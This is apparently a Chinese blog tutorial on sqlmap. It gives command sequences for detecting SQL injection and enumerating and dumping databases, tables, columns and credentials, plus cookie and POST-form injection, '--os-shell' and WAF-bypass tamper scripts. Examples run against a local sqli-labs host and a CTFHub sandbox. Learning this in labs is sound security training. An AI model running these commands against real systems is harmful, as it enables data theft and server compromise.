目录

知识点

一般渗透流程

1、判断有无注入,注入点类型

2、存在注入点,读取数据库

3、指定数据库,读取表名 

4、指定表名,获取列名

5、指定列名获取数据

cookie注入

知识点

一般的渗透流程:
sqlmap -u 注入点                        #判断有无注入点
sqlmap -u 注入点 --dbs               #查看爆破数据库(不是某一个数据库,而是所有的数据库名)
sqlmap -u 注入点 -D 库名 --tables        #爆破指定数据库的表名
sqlmap -u 注入点 -D 库名 -T 表名 --columns        #爆破指定表的列名
sqlmap -u 注入点 -D 库名 -T 表名 -C 列名 --dump        #获取指定表的指定列的数据 
其他常见poyload
1、cookie注入:(只有level达到2才会检测cookie) 
sqlmap -u 注入点 --cookie “id=11” --level 2

2、POST登录框注入(-p是指定参数)
先使用burp抓到post包,保存为文件
sqlmap -r 保存的post包文件 -p “username”,"password" 

3、自动判断注入
sqlmap.py -u 登录的地址 --forms

4、--os-shell(反弹一个shell)
sqlmap -u 注入点 --os-shell

5、绕过waf防火墙
sqlmap.py -u 注入点 -v 3 --dbs --batch --tamper 指定脚本
bypass脚本通常为:
(1)、对于MYSQL数据库 4.0, 5.0注入:space2hash.py
 (2)、对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入:space2morehash.py(3)、encodes编码:charencode.py
 (4)、base64编码:base64encode.py
 (5)、替换空格和关键字:halfversionedmorekeywords.py

一般渗透流程

1、判断有无注入,注入点类型

poyload:sqlmap -u http://192.168.162.135/sqlilab/Less-1/?id=1 

结果如下:

sqlmap 链接 mysql sqlmap -d_服务器

sqlmap扫描发现该注入点存在sql注入,可以利用的有:布尔盲注、报错注入 、时间盲注、联合查询注入。

2、存在注入点,读取数据库

poyload:sqlmap -u http://192.168.162.135/sqlilab/Less-1/?id=1 --dbs

sqlmap扫描结果如下:

sqlmap 链接 mysql sqlmap -d_数据库_02

读取到所有的数据库,共七个,我们指定查询security数据库;

3、指定数据库,读取表名 

poyload:sqlmap -u http://192.168.162.135/sqlilab/Less-1/?id=1 -D security --tables

 扫描结果如下:

sqlmap 链接 mysql sqlmap -d_web安全_03

扫描结果之前忘说了,他会扫描出服务器的系统信息、中间件版本、使用的语言、数据库的类型和版本。 

获得security数据库下的所有表名。

4、指定表名,获取列名

poyload:

sqlmap -u http://192.168.162.135/sqlilab/Less-1/?id=1 -D security -T users --columns

扫描结果如下:

sqlmap 链接 mysql sqlmap -d_前端_04

 列名有三列:id,password,username;

5、指定列名获取数据

 poyload:

sqlmap -u http://192.168.162.135/sqlilab/Less-1/?id=1 -D security -T users -C password,username --dump

扫描结果如下:

sqlmap 链接 mysql sqlmap -d_前端_05

 获取数据。

cookie注入

以CTFHub-Web-sql注入-cookie注入的靶场为例。

poyload:sqlmap -u "http://challenge-e779f9e166a331a7.sandbox.ctfhub.com:10800/" --cookie "id=1" --level 2

扫描结果如下:

sqlmap 链接 mysql sqlmap -d_sqlmap 链接 mysql_06

 存在注入,并且给出注入类型和数据库版本信息;

其他步骤与上述一样;